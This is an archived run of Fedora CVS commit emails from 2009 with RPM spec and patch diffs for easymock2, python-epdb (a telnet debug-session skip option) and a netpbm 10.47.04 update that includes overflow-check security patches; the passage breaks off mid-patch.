In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31921/F-12

Modified Files:
	easymock2.spec 
Log Message:
* Wed Oct 21 2009 Alexander Kurtakov <akurtako at redhat.com> 2.5-4
- Fix empty jar. Bug #530110.


Index: easymock2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/easymock2/F-12/easymock2.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- easymock2.spec	20 Aug 2009 11:13:16 -0000	1.1
+++ easymock2.spec	21 Oct 2009 16:16:03 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           easymock2
 Version:        2.5
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Easy mock objects
 License:        MIT
 Group:          Development/Languages
@@ -45,6 +45,7 @@ find . -name "*.jar" -exec rm -f {} \;
 
 %build
 ant -Dmaven.mode.offline=true -Dmaven.repo.local=.m2 -Dmaven.test.skip=true package javadoc
+mv target/easymock-%{version}.jar target/%{name}-%{version}.jar
 
 # inject OSGi manifests
 mkdir -p META-INF
@@ -100,6 +101,9 @@ rm -rf %{buildroot}
 %doc %{_javadocdir}/*
 
 %changelog
+* Wed Oct 21 2009 Alexander Kurtakov <akurtako at redhat.com> 2.5-4
+- Fix empty jar. Bug #530110.
+
 * Mon Aug 17 2009 Alexander Kurtakov <akurtako at redhat.com> 2.5-3
 - Renamed to easymock2.
 



From akurtakov at fedoraproject.org  Wed Oct 21 16:16:03 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Wed, 21 Oct 2009 16:16:03 +0000 (UTC)
Subject: rpms/easymock2/devel easymock2.spec,1.1,1.2
Message-ID: <20091021161603.9110A11C01EA@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/easymock2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31921/devel

Modified Files:
	easymock2.spec 
Log Message:
* Wed Oct 21 2009 Alexander Kurtakov <akurtako at redhat.com> 2.5-4
- Fix empty jar. Bug #530110.


Index: easymock2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/easymock2/devel/easymock2.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- easymock2.spec	20 Aug 2009 11:13:16 -0000	1.1
+++ easymock2.spec	21 Oct 2009 16:16:03 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           easymock2
 Version:        2.5
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Easy mock objects
 License:        MIT
 Group:          Development/Languages
@@ -45,6 +45,7 @@ find . -name "*.jar" -exec rm -f {} \;
 
 %build
 ant -Dmaven.mode.offline=true -Dmaven.repo.local=.m2 -Dmaven.test.skip=true package javadoc
+mv target/easymock-%{version}.jar target/%{name}-%{version}.jar
 
 # inject OSGi manifests
 mkdir -p META-INF
@@ -100,6 +101,9 @@ rm -rf %{buildroot}
 %doc %{_javadocdir}/*
 
 %changelog
+* Wed Oct 21 2009 Alexander Kurtakov <akurtako at redhat.com> 2.5-4
+- Fix empty jar. Bug #530110.
+
 * Mon Aug 17 2009 Alexander Kurtakov <akurtako at redhat.com> 2.5-3
 - Renamed to easymock2.
 



From jforbes at fedoraproject.org  Wed Oct 21 16:16:59 2009
From: jforbes at fedoraproject.org (Justin M. Forbes)
Date: Wed, 21 Oct 2009 16:16:59 +0000 (UTC)
Subject: rpms/python-epdb/devel epdb-telnet-skip.patch, NONE,
	1.1 python-epdb.spec, 1.3, 1.4
Message-ID: <20091021161659.EF05011C00E8@cvs1.fedora.phx.redhat.com>

Author: jforbes

Update of /cvs/pkgs/rpms/python-epdb/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32328

Modified Files:
	python-epdb.spec 
Added Files:
	epdb-telnet-skip.patch 
Log Message:
Allow the number of frames to be passed for telnet sessions.

epdb-telnet-skip.patch:
 epdb.py |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE epdb-telnet-skip.patch ---
diff -urpN epdb-0.11/epdb/epdb.py.old epdb-0.11/epdb/epdb.py
--- epdb-0.11/epdb/epdb.py.old	2009-10-21 11:47:45.000000000 -0400
+++ epdb-0.11/epdb/epdb.py	2009-10-21 11:47:47.000000000 -0400
@@ -111,13 +111,13 @@ class Epdb(pdb.Pdb):
     if hasTelnet:
         # telnet server support.
         # if enabled, you can serve a epdb session.
-        def serve(self, port=8080):
+        def serve(self, port=8080, skip=0):
             if not Epdb._server:
                 print 'Serving on port %s' % port
                 Epdb._server = telnetserver.InvertedTelnetServer(('', port))
                 Epdb._server.handle_request()
                 Epdb._port = port
-            self.set_trace(skip=2)
+            self.set_trace(skip=skip+2)
 
         def serve_post_mortem(self, t, exc_type=None, exc_msg=None, port=8080):
             if not Epdb._server:
@@ -956,8 +956,8 @@ def set_trace(marker='default'):
 st = set_trace
 
 if hasTelnet:
-    def serve(port=8080):
-        Epdb().serve(port)
+    def serve(port=8080, skip=0):
+        Epdb().serve(port, skip=skip)
     
     def serve_post_mortem(t, exc_type=None, exc_msg=None, port=8080):
         Epdb().serve_post_mortem(t, exc_type, exc_msg, port)


Index: python-epdb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-epdb/devel/python-epdb.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- python-epdb.spec	26 Jul 2009 20:21:35 -0000	1.3
+++ python-epdb.spec	21 Oct 2009 16:16:59 -0000	1.4
@@ -2,13 +2,14 @@
 
 Name:           python-epdb
 Version:        0.11
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Extended Python debugger
 
 Group:          Development/Debuggers
 License:        MIT
 URL:            ftp://download.rpath.com/pub/epdb/
 Source0:        ftp://download.rpath.com/pub/epdb/epdb-%{version}.tar.bz2
+Patch01:	epdb-telnet-skip.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
@@ -21,6 +22,7 @@ epdb is an extended Python debugger.
 %setup -q -n epdb-%{version}
 sed -i 's,python2.4,python,g' Make.rules epdb/epdb.py
 
+%patch01 -p1
 
 %build
 make %{?_smp_mflags} sitedir=%{python_sitelib}
@@ -43,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Justin M. Forbes <jforbes at redhat.com> - 0.11-4
+- Allow the number of frames to be passed for telnet sessions.
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.11-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From jnovy at fedoraproject.org  Wed Oct 21 16:27:37 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed, 21 Oct 2009 16:27:37 +0000 (UTC)
Subject: rpms/netpbm/F-11 netpbm-CAN-2005-2471.patch, NONE,
	1.1 netpbm-bmptopnm.patch, NONE, 1.1 netpbm-gcc4.patch, NONE,
	1.1 netpbm-glibc.patch, NONE, 1.1 netpbm-message.patch, NONE,
	1.1 netpbm-multilib.patch, NONE, 1.1 netpbm-nodoc.patch, NONE,
	1.1 netpbm-pamscale.patch, NONE, 1.1 netpbm-pnmdepth.patch, NONE,
	1.1 netpbm-pnmtofiasco-stdin.patch, NONE,
	1.1 netpbm-ppmtompeg.patch, NONE, 1.1 netpbm-security-code.patch,
	NONE, 1.1 netpbm-security-scripts.patch, NONE,
	1.1 netpbm-svgtopam.patch, NONE, 1.1 netpbm-time.patch, NONE,
	1.1 netpbm-xwdfix.patch, NONE, 1.1 .cvsignore, 1.54,
	1.55 netpbm.spec, 1.139, 1.140 sources, 1.58,
	1.59 netpbm-10.17-time.patch, 1.1,
	NONE netpbm-10.19-message.patch, 1.2,
	NONE netpbm-10.22-security2.patch, 1.5,
	NONE netpbm-10.23-security.patch, 1.22,
	NONE netpbm-10.24-nodoc.patch, 1.1,
	NONE netpbm-10.27-bmptopnm.patch, 1.5,
	NONE netpbm-10.28-CAN-2005-2471.patch, 1.2,
	NONE netpbm-10.28-gcc4.patch, 1.2,
	NONE netpbm-10.31-xwdfix.patch, 1.2,
	NONE netpbm-10.32-pnmdepth.patch, 1.1,
	NONE netpbm-10.33-multilib.patch, 1.1,
	NONE netpbm-10.33-ppmtompeg.patch, 1.3,
	NONE netpbm-10.34-pamscale.patch, 1.1,
	NONE netpbm-10.35-64bitfix.patch, 1.1,
	NONE netpbm-10.35-gcc43.patch, 1.1,
	NONE netpbm-10.35-glibc.patch, 1.3,
	NONE netpbm-10.35-pnmmontagefix.patch, 1.1,
	NONE netpbm-10.35-pnmtofiasco-stdin.patch, 1.1,
	NONE netpbm-10.35-rgbtxt.patch, 1.1,
	NONE netpbm-10.35-svgtopam.patch, 1.1,
	NONE netpbm-9.24-strip.patch, 1.1, NONE
Message-ID: <20091021162737.8D5CB11C00E8@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/netpbm/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3059

Modified Files:
	.cvsignore netpbm.spec sources 
Added Files:
	netpbm-CAN-2005-2471.patch netpbm-bmptopnm.patch 
	netpbm-gcc4.patch netpbm-glibc.patch netpbm-message.patch 
	netpbm-multilib.patch netpbm-nodoc.patch netpbm-pamscale.patch 
	netpbm-pnmdepth.patch netpbm-pnmtofiasco-stdin.patch 
	netpbm-ppmtompeg.patch netpbm-security-code.patch 
	netpbm-security-scripts.patch netpbm-svgtopam.patch 
	netpbm-time.patch netpbm-xwdfix.patch 
Removed Files:
	netpbm-10.17-time.patch netpbm-10.19-message.patch 
	netpbm-10.22-security2.patch netpbm-10.23-security.patch 
	netpbm-10.24-nodoc.patch netpbm-10.27-bmptopnm.patch 
	netpbm-10.28-CAN-2005-2471.patch netpbm-10.28-gcc4.patch 
	netpbm-10.31-xwdfix.patch netpbm-10.32-pnmdepth.patch 
	netpbm-10.33-multilib.patch netpbm-10.33-ppmtompeg.patch 
	netpbm-10.34-pamscale.patch netpbm-10.35-64bitfix.patch 
	netpbm-10.35-gcc43.patch netpbm-10.35-glibc.patch 
	netpbm-10.35-pnmmontagefix.patch 
	netpbm-10.35-pnmtofiasco-stdin.patch netpbm-10.35-rgbtxt.patch 
	netpbm-10.35-svgtopam.patch netpbm-9.24-strip.patch 
Log Message:
* Wed Oct 21 2009 Jindrich Novy <jnovy at redhat.com> 10.47.04-1
- update to 10.47.04 (it is now stable) (#529525)
- fixes #502917, #482850, #482847


netpbm-CAN-2005-2471.patch:
 pstopnm.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE netpbm-CAN-2005-2471.patch ---
--- netpbm-10.29/converter/other/pstopnm.c.CAN-2005-2471	2005-08-15 02:39:46.000000000 +0200
+++ netpbm-10.29/converter/other/pstopnm.c	2005-08-16 15:38:15.000000000 +0200
@@ -711,11 +711,11 @@
                    "'%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s'",
                    ghostscriptProg, arg0,
                    deviceopt, outfileopt, gopt, ropt, "-q", "-dNOPAUSE", 
-                   "-dSAFER", "-");
+                   "-dPARANOIDSAFER", "-");
     }
 
     execl(ghostscriptProg, arg0, deviceopt, outfileopt, gopt, ropt, "-q",
-          "-dNOPAUSE", "-dSAFER", "-", NULL);
+          "-dNOPAUSE", "-dPARANOIDSAFER", "-", NULL);
     
     pm_error("execl() of Ghostscript ('%s') failed, errno=%d (%s)",
              ghostscriptProg, errno, strerror(errno));

netpbm-bmptopnm.patch:
 bmptopnm.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE netpbm-bmptopnm.patch ---
--- netpbm-10.35/converter/other/bmptopnm.c.bmptopnm	2007-01-29 13:08:46.000000000 +0100
+++ netpbm-10.35/converter/other/bmptopnm.c	2007-01-29 13:32:21.000000000 +0100
@@ -1262,7 +1262,7 @@ readBmp(FILE *               const ifP, 
         xel **               const colormapP,
         bool                 const verbose) {
 
-    xel * colormap;  /* malloc'ed */
+    xel * colormap = NULL;  /* malloc'ed */
     unsigned int pos;
         /* Current byte position in the BMP file */
 

netpbm-gcc4.patch:
 lib/pm.h  |    1 +
 urt/rle.h |    1 +
 2 files changed, 2 insertions(+)

--- NEW FILE netpbm-gcc4.patch ---
--- netpbm-10.30/lib/pm.h.gcc4	2005-10-21 12:19:56.000000000 +0200
+++ netpbm-10.30/lib/pm.h	2005-10-21 12:20:03.000000000 +0200
@@ -18,6 +18,7 @@
 #include <sys/types.h>
 #include <ctype.h>
 #include <stdio.h>
+#include <string.h>
 #include <errno.h>
 #include <setjmp.h>
 #include <sys/stat.h>
--- netpbm-10.30/urt/rle.h.gcc4	2005-10-21 12:19:56.000000000 +0200
+++ netpbm-10.30/urt/rle.h	2005-10-21 12:21:31.000000000 +0200
@@ -36,6 +36,7 @@
 #include "rle_config.h"     /* Configuration parameters. */
 
 #include <stdio.h>      /* Declare FILE. */
+#include <string.h>
 
 #ifdef c_plusplus
 #define USE_PROTOTYPES

netpbm-glibc.patch:
 pnmtotiffcmyk.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE netpbm-glibc.patch ---
--- netpbm-10.35/converter/other/pnmtotiffcmyk.c.glibc	2006-09-18 12:20:06.000000000 +0200
+++ netpbm-10.35/converter/other/pnmtotiffcmyk.c	2007-08-23 09:18:30.000000000 +0200
@@ -974,8 +974,8 @@ int main( int argc, char **argv ) {
 
   if ( (err = parseOpts( argc, argv, rt )) ) goto exit ;
   
-  if ( (err = rt->in->open( rt->in, rt )) ) goto exit ;
-  if ( (err = rt->out->open( rt->out, rt )) ) goto exit ;
+  if ( (err = (rt->in->open)( rt->in, rt )) ) goto exit ;
+  if ( (err = (rt->out->open)( rt->out, rt )) ) goto exit ;
 
   while ( rt->in->hasMore( rt->in ) ) {
     if ( (err = rt->in->next( rt->in, &r, &g, &b )) ) goto exit ;

netpbm-message.patch:
 giftopnm.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE netpbm-message.patch ---
diff -up netpbm-10.47.04/converter/other/giftopnm.c.message netpbm-10.47.04/converter/other/giftopnm.c
--- netpbm-10.47.04/converter/other/giftopnm.c.message	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/giftopnm.c	2009-10-21 14:34:42.000000000 +0200
@@ -1676,7 +1676,7 @@ convertImages(FILE * const ifP, 
                          imageSeq, imageSeq > 1 ? "s" : "");
         } else {
             if (verbose)
-                pm_message("Reading Image Sequence %d", imageSeq);
+                pm_message("Reading Image Sequence %d", imageSeq+1);
             convertImage(ifP, !allImages && (imageSeq != requestedImageSeq), 
                          imageout_file, alphafile, gifScreen, gif89,
                          tolerateBadInput);

netpbm-multilib.patch:
 endiangen.c |    1 -
 1 file changed, 1 deletion(-)

--- NEW FILE netpbm-multilib.patch ---
diff -up netpbm-10.47.04/buildtools/endiangen.c.multilib netpbm-10.47.04/buildtools/endiangen.c
--- netpbm-10.47.04/buildtools/endiangen.c.multilib	2009-10-21 13:38:54.000000000 +0200
+++ netpbm-10.47.04/buildtools/endiangen.c	2009-10-21 14:35:58.000000000 +0200
@@ -87,7 +87,6 @@ main(int argc, char **argv) {
            byteOrder() == ENDIAN_LITTLE ? "LITTLE_ENDIAN" : "BIG_ENDIAN");
     printf("#endif\n");
     printf("\n");
-    printf("#define BITS_PER_LONG %u\n", bitsPerLong());
 
     return 0;
 }

netpbm-nodoc.patch:
 GNUmakefile |    6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

--- NEW FILE netpbm-nodoc.patch ---
--- netpbm-10.24/GNUmakefile.nodoc	2004-08-11 20:41:54.000000000 +0200
+++ netpbm-10.24/GNUmakefile	2004-09-23 16:08:29.724369240 +0200
@@ -275,16 +275,12 @@
 endif
 
 .PHONY: install.manweb
-install.manweb: $(PKGDIR)/man/web/netpbm.url $(PKGDIR)/bin/doc.url
+install.manweb: $(PKGDIR)/man/web/netpbm.url
 
 $(PKGDIR)/man/web/netpbm.url: $(PKGDIR)/man/web
 	echo "$(NETPBM_DOCURL)" > $@
 	chmod $(INSTALL_PERM_MAN) $@
 
-$(PKGDIR)/bin/doc.url: $(PKGDIR)/bin
-	echo "$(NETPBM_DOCURL)" > $@
-	chmod $(INSTALL_PERM_MAN) $@
-
 .PHONY: install-dev
 # Note that you might install the development package and NOT the runtime
 # package.  If you have a special system for building stuff, maybe for 

netpbm-pamscale.patch:
 pamscale.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE netpbm-pamscale.patch ---
--- netpbm-10.34/editor/pamscale.c.pamscale	2006-03-16 01:33:49.000000000 +0100
+++ netpbm-10.34/editor/pamscale.c	2006-08-12 20:12:14.000000000 +0200
@@ -2081,6 +2081,8 @@
     struct pam inpam, outpam;
     float xscale, yscale;
 
+    memset(&cmdline, 0, sizeof(cmdline));
+
     pnm_init(&argc, argv);
 
     parseCommandLine(argc, argv, &cmdline);

netpbm-pnmdepth.patch:
 Makefile |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE netpbm-pnmdepth.patch ---
--- netpbm-10.32/other/Makefile.pnmdepth	2006-01-03 23:47:15.000000000 +0100
+++ netpbm-10.32/other/Makefile	2006-04-03 14:53:17.000000000 +0200
@@ -66,7 +66,7 @@
 	  $(SYMLINK) pamsplit$(EXE) pnmsplit
 # In February 2006, pamdepth replaced pnmdepth
 	cd $(PKGDIR)/bin ; \
-	  rm -f pnmsdepth ; \
-	  $(SYMLINK) pnmsdepth$(EXE) pnmdepth
+	  rm -f pnmdepth ; \
+	  $(SYMLINK) pamdepth$(EXE) pnmdepth
 
 FORCE:

netpbm-pnmtofiasco-stdin.patch:
 codec/coder.c |   20 ++++++++++++++++----
 codec/wfa.h   |    3 +++
 lib/image.c   |    2 +-
 lib/image.h   |    6 ++++++
 4 files changed, 26 insertions(+), 5 deletions(-)

--- NEW FILE netpbm-pnmtofiasco-stdin.patch ---
diff -up netpbm-10.35.58/converter/other/fiasco/codec/coder.c.pnmtofiasco-stdin netpbm-10.35.58/converter/other/fiasco/codec/coder.c
--- netpbm-10.35.58/converter/other/fiasco/codec/coder.c.pnmtofiasco-stdin	2009-01-19 09:23:57.000000000 +0100
+++ netpbm-10.35.58/converter/other/fiasco/codec/coder.c	2009-01-21 08:03:00.000000000 +0100
@@ -213,15 +213,14 @@ alloc_coder (char const * const *inputna
     */
    {
       char     *filename;
-      int   	width, w = 0, height, h = 0;
+      int   	width, w = 0, height, h = 0, format;
       bool_t	color, c = NO;
+      xelval maxval;
       unsigned 	n;
       
       for (n = 0; (filename = get_input_image_name (inputname, n)); n++)
       {
           FILE *file;
-          xelval maxval;
-          int format;
           if (filename == NULL)
               file = stdin;
           else
@@ -251,6 +250,8 @@ alloc_coder (char const * const *inputna
       wi->width  = w;
       wi->height = h;
       wi->color  = c;
+      wi->format = format;
+      wi->maxval = maxval;
    }
 
    /*
@@ -642,7 +643,18 @@ video_coder (char const * const *image_t
        */
       future_frame   = frame == future_display;
       c->mt->number   = frame;
-      c->mt->original = read_image (image_name);
+      if (strcmp(image_name, "-")) {
+         c->mt->original = read_image (image_name);
+      } else { /* stdin is not seekable - read image contents without rewind */
+	 int width = wfa->wfainfo->width;
+	 int height = wfa->wfainfo->height;
+	 int color = wfa->wfainfo->color;
+	 int format = wfa->wfainfo->format;
+	 xelval maxval = wfa->wfainfo->maxval;
+
+	 c->mt->original = alloc_image(width, height, color, FORMAT_4_4_4);
+	 read_image_data(c->mt->original, stdin, color, width, height, maxval, format);
+      }
       if (c->tiling->exponent && type == I_FRAME) 
 	 perform_tiling (c->mt->original, c->tiling);
 
diff -up netpbm-10.35.58/converter/other/fiasco/codec/wfa.h.pnmtofiasco-stdin netpbm-10.35.58/converter/other/fiasco/codec/wfa.h
--- netpbm-10.35.58/converter/other/fiasco/codec/wfa.h.pnmtofiasco-stdin	2009-01-19 09:23:57.000000000 +0100
+++ netpbm-10.35.58/converter/other/fiasco/codec/wfa.h	2009-01-21 08:03:28.000000000 +0100
@@ -75,6 +75,7 @@ typedef struct range_info
    unsigned level;			/* bintree level of range */
 } range_info_t;
 
+#include "pnm.h"
 #include "image.h"
 #include "rpf.h"
 #include "bit-io.h"
@@ -93,6 +94,8 @@ typedef struct wfa_info
    unsigned  width;			/* image width */
    unsigned  height;			/* image height */
    unsigned  level;			/* image level */
+   unsigned  format;			/* image format */
+   xelval    maxval;			/* image maximal pixel intensity value */
    rpf_t    *rpf;			/* Standard reduced precision format */
    rpf_t    *dc_rpf;			/* DC reduced precision format */
    rpf_t    *d_rpf;			/* Delta reduced precision format */
diff -up netpbm-10.35.58/converter/other/fiasco/lib/image.c.pnmtofiasco-stdin netpbm-10.35.58/converter/other/fiasco/lib/image.c
--- netpbm-10.35.58/converter/other/fiasco/lib/image.c.pnmtofiasco-stdin	2009-01-19 09:23:57.000000000 +0100
+++ netpbm-10.35.58/converter/other/fiasco/lib/image.c	2009-01-21 08:01:53.000000000 +0100
@@ -273,7 +273,7 @@ free_image (image_t *image)
 }
 
 
-static void 
+void 
 read_image_data(image_t * const image, FILE *input, const bool_t color,
                 const int width, const int height, const xelval maxval,
                 const int format) {
diff -up netpbm-10.35.58/converter/other/fiasco/lib/image.h.pnmtofiasco-stdin netpbm-10.35.58/converter/other/fiasco/lib/image.h
--- netpbm-10.35.58/converter/other/fiasco/lib/image.h.pnmtofiasco-stdin	2009-01-19 09:23:57.000000000 +0100
+++ netpbm-10.35.58/converter/other/fiasco/lib/image.h	2009-01-21 08:02:29.000000000 +0100
@@ -17,6 +17,8 @@
 #ifndef _IMAGE_H
 #define _IMAGE_H
 
+#include "pnm.h"
+
 #include <stdio.h>
 #include "types.h"
 #include "fiasco.h"
@@ -51,6 +53,10 @@ read_pnmheader (const char *image_name, 
 image_t *
 read_image (const char *image_name);
 void
+read_image_data(image_t * const image, FILE *input, const bool_t color,
+                const int width, const int height, const xelval maxval,
+                const int format);
+void
 write_image (const char *image_name, const image_t *image);
 bool_t
 same_image_type (const image_t *img1, const image_t *img2);

netpbm-ppmtompeg.patch:
 fsize.c    |    3 +--
 parallel.c |    2 --
 2 files changed, 1 insertion(+), 4 deletions(-)

--- NEW FILE netpbm-ppmtompeg.patch ---
--- netpbm-10.35/converter/ppm/ppmtompeg/fsize.c.ppmtompeg	2006-09-18 12:20:24.000000000 +0200
+++ netpbm-10.35/converter/ppm/ppmtompeg/fsize.c	2006-09-18 13:35:53.000000000 +0200
@@ -115,8 +115,7 @@ Fsize_Note(int          const id,
     Fsize_Validate(&Fsize_x, &Fsize_y);
 
     if ((Fsize_x == 0) || (Fsize_y == 0)) {
-        fprintf(stderr,"Frame %d:  size is less than the minimum: %d x %d!\n",
-                id, DCTSIZE*2, DCTSIZE*2);
+    	fprintf(stderr,"Frame %d: image dimensions need to be integer multiples of 16 for ppmtompeg!\n",id);
         exit(1);
     }
 
--- netpbm-10.35/converter/ppm/ppmtompeg/parallel.c.ppmtompeg	2006-09-18 13:30:49.000000000 +0200
+++ netpbm-10.35/converter/ppm/ppmtompeg/parallel.c	2006-09-18 13:32:24.000000000 +0200
@@ -1316,8 +1316,6 @@ CombineServer(int          const numFram
   TransmitPortNum(masterHostName, masterPortNum, combinePortNum);
   
   close(outputServerSocket);
-
-  fclose(ofP);
 }
 
 

netpbm-security-code.patch:
 analyzer/pgmtexture.c              |    9 +++++
 converter/other/gemtopnm.c         |    1 
 converter/other/jpegtopnm.c        |    2 +
 converter/other/pbmtopgm.c         |    1 
 converter/other/pnmtoddif.c        |    2 +
 converter/other/pnmtojpeg.c        |    9 +++++
 converter/other/pnmtops.c          |   12 +++++--
 converter/other/pnmtorle.c         |    2 +
 converter/other/pnmtosgi.c         |   19 ++++++++++++
 converter/other/rletopnm.c         |    2 +
 converter/other/sgitopnm.c         |    6 +++
 converter/other/sirtopnm.c         |    1 
 converter/other/tifftopnm.c        |    4 +-
 converter/other/xwdtopnm.c         |    5 +++
 converter/pbm/icontopbm.c          |    6 +++
 converter/pbm/mdatopbm.c           |    5 ++-
 converter/pbm/mgrtopbm.c           |    2 +
 converter/pbm/pbmto10x.c           |    2 -
 converter/pbm/pbmto4425.c          |    3 +
 converter/pbm/pbmtoascii.c         |    2 +
 converter/pbm/pbmtogem.c           |    1 
 converter/pbm/pbmtogo.c            |    1 
 converter/pbm/pbmtoicon.c          |    1 
 converter/pbm/pbmtolj.c            |    4 ++
 converter/pbm/pbmtomacp.c          |    3 +
 converter/pbm/pbmtomda.c           |    1 
 converter/pbm/pbmtoppa/pbm.c       |    4 +-
 converter/pbm/pbmtoppa/pbmtoppa.c  |    1 
 converter/pbm/pbmtoxbm.c           |    2 +
 converter/pbm/pbmtoybm.c           |    1 
 converter/pbm/pbmtozinc.c          |    1 
 converter/pbm/pktopbm.c            |    1 
 converter/pbm/thinkjettopbm.l      |    4 ++
 converter/pbm/ybmtopbm.c           |    1 
 converter/pgm/lispmtopgm.c         |    5 ++-
 converter/pgm/psidtopgm.c          |    1 
 converter/ppm/Makefile             |    2 -
 converter/ppm/ilbmtoppm.c          |   27 +++++++++++++++++
 converter/ppm/imgtoppm.c           |    2 +
 converter/ppm/pcxtoppm.c           |    2 +
 converter/ppm/picttoppm.c          |    2 +
 converter/ppm/pjtoppm.c            |   21 ++++++++-----
 converter/ppm/ppmtoeyuv.c          |    1 
 converter/ppm/ppmtoicr.c           |    2 -
 converter/ppm/ppmtoilbm.c          |    8 ++++-
 converter/ppm/ppmtolj.c            |    3 +
 converter/ppm/ppmtomitsu.c         |    2 +
 converter/ppm/ppmtompeg/iframe.c   |    4 +-
 converter/ppm/ppmtompeg/parallel.c |    4 +-
 converter/ppm/ppmtompeg/psearch.c  |   18 +++++++++++
 converter/ppm/ppmtompeg/rgbtoycc.c |    2 +
 converter/ppm/ppmtopcx.c           |    2 +
 converter/ppm/ppmtopict.c          |    2 +
 converter/ppm/ppmtopj.c            |    1 
 converter/ppm/ppmtopjxl.c          |    8 +++++
 converter/ppm/ppmtowinicon.c       |    8 +++++
 converter/ppm/ppmtoxpm.c           |    2 +
 converter/ppm/qrttoppm.c           |    2 -
 converter/ppm/sldtoppm.c           |    2 +
 converter/ppm/ximtoppm.c           |    4 ++
 converter/ppm/xpmtoppm.c           |    1 
 converter/ppm/yuvtoppm.c           |    1 
 editor/pamcut.c                    |    2 +
 editor/pbmpscale.c                 |    1 
 editor/pbmreduce.c                 |    1 
 editor/pnmgamma.c                  |    1 
 editor/pnmhisteq.c                 |    1 
 editor/pnmindex.csh                |    3 +
 editor/pnmpad.c                    |    2 +
 editor/pnmremap.c                  |    3 +
 editor/pnmscalefixed.c             |    7 ++++
 editor/pnmshear.c                  |    6 +++
 editor/ppmdither.c                 |    6 +++
 editor/specialty/pamoil.c          |    1 
 generator/pbmpage.c                |    3 +
 generator/pbmtext.c                |    4 ++
 generator/pgmcrater.c              |    2 -
 generator/pgmkernel.c              |    2 -
 lib/libpam.c                       |    3 +
 lib/libpammap.c                    |    2 +
 lib/libpbm1.c                      |    1 
 lib/libpbmvms.c                    |    2 +
 lib/libpm.c                        |   49 +++++++++++++++++++++++++++++++
 lib/pm.h                           |    7 ++++
 other/pnmcolormap.c                |    1 
 urt/README                         |    5 +++
 urt/Runput.c                       |   10 ++++--
 urt/rle.h                          |   14 +++++++++
 urt/rle_addhist.c                  |   15 ++++++++-
 urt/rle_getrow.c                   |    3 +
 urt/rle_hdr.c                      |   19 ++++++++++--
 urt/rle_open_f.c                   |   57 -------------------------------------
 urt/rle_putcom.c                   |    6 +++
 urt/scanargs.c                     |    6 ++-
 94 files changed, 404 insertions(+), 101 deletions(-)

--- NEW FILE netpbm-security-code.patch ---
diff -up netpbm-10.47.04/analyzer/pgmtexture.c.security netpbm-10.47.04/analyzer/pgmtexture.c
--- netpbm-10.47.04/analyzer/pgmtexture.c.security	2009-10-21 13:38:55.000000000 +0200
+++ netpbm-10.47.04/analyzer/pgmtexture.c	2009-10-21 15:09:33.000000000 +0200
@@ -79,6 +79,9 @@ vector (int nl, int nh)
 {
     float *v;
 
+    if(nh < nl)
+	pm_error("assert: h < l");
+    overflow_add(nh - nl, 1);
     MALLOCARRAY(v, (unsigned) (nh - nl + 1));
     if (v == NULL)
         pm_error("Unable to allocate memory for a vector.");
@@ -95,6 +98,9 @@ matrix (int nrl, int nrh, int ncl, int n
     float **m;
 
     /* allocate pointers to rows */
+    if(nrh < nrl)
+	pm_error("assert: h < l");
+    overflow_add(nrh - nrl, 1);
     MALLOCARRAY(m, (unsigned) (nrh - nrl + 1));
     if (m == NULL)
         pm_error("Unable to allocate memory for a matrix.");
@@ -102,6 +108,9 @@ matrix (int nrl, int nrh, int ncl, int n
     m -= ncl;
 
     /* allocate rows and set pointers to them */
+    if(nch < ncl)
+        pm_error("assert: h < l");
+    overflow_add(nch - ncl, 1);
     for (i = nrl; i <= nrh; i++)
     {
         MALLOCARRAY(m[i], (unsigned) (nch - ncl + 1));
diff -up netpbm-10.47.04/converter/other/gemtopnm.c.security netpbm-10.47.04/converter/other/gemtopnm.c
--- netpbm-10.47.04/converter/other/gemtopnm.c.security	2009-10-21 13:39:06.000000000 +0200
+++ netpbm-10.47.04/converter/other/gemtopnm.c	2009-10-21 15:09:33.000000000 +0200
@@ -106,6 +106,7 @@ main(argc, argv)
 
 	pnm_writepnminit( stdout, cols, rows, MAXVAL, type, 0 );
 
+    overflow_add(cols, padright);
     { 
         /* allocate input row data structure */
         int plane;
diff -up netpbm-10.47.04/converter/other/jpegtopnm.c.security netpbm-10.47.04/converter/other/jpegtopnm.c
